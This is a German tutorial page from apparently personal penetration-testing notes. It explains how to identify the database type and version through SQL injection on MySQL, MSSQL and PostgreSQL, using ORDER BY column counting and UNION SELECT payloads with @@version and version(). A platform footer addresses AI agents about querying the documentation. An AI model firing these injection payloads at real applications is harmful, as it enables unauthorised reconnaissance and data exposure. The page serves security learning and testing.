> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMS-Versions­erkennung (MySQL, MSSQL, PostgreSQL)

### SQL-Injection-Angriff, Abfragen des Datenbanktyps und der Version auf MySQL und Microsoft

* **Kontext / Schwachstelle:** `Kategorie` Filter anfällig für SQL-Injection; die Anwendung hängt den Benutzerwert in `WHERE` die Klausel an. Mit `ORDER BY` / `UNION` ermöglicht die Aufzählung der Anzahl der Spalten und anschließend das Extrahieren eines Versionswerts.
* **Ziel:** den Release-String des DBMS anzeigen.
* **Schnelle Methodik:**

1. **Anzahl der Spalten bestimmen**:/ Nutzlast:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* (erhöhe den Index, bis ein Fehler auftritt, um die genaue Anzahl der Spalten zu finden).

2. **UNION validieren** (wähle eine `UNION SELECT` mit derselben Anzahl von Spalten): / Minimales Beispiel mit 2 Spalten:

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **Version ermitteln** — verwende die an die Engine angepasste Funktion/Variable.

**Ziel-Nutzlasten:**

* **Microsoft SQL Server (MSSQL)** — Systemvariable: `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — Funktion: `version()` (oder Variable `@@version`)

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — Funktion: `version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> Passe die Anzahl und Reihenfolge der Spalten entsprechend der verwundbaren Abfrage an (z. B. UNION SELECT NULL, version() bei unterschiedlichen Typen). Verwende bei Bedarf NULL für Spalten, deren Typ nicht übereinstimmen sollte.

* **Interpretation:** Die Seite zeigt den von `@@version` / `version()` (z. B. `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `PostgreSQL 13.3 on x86_64-...`), wodurch das Fingerprinting des DBMS ermöglicht wird.
* **Auswirkung:** Informationspreisgabe, nützlich für das Ausrichten versionsspezifischer Exploits, erhöhtes Risiko nachfolgender Angriffe.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
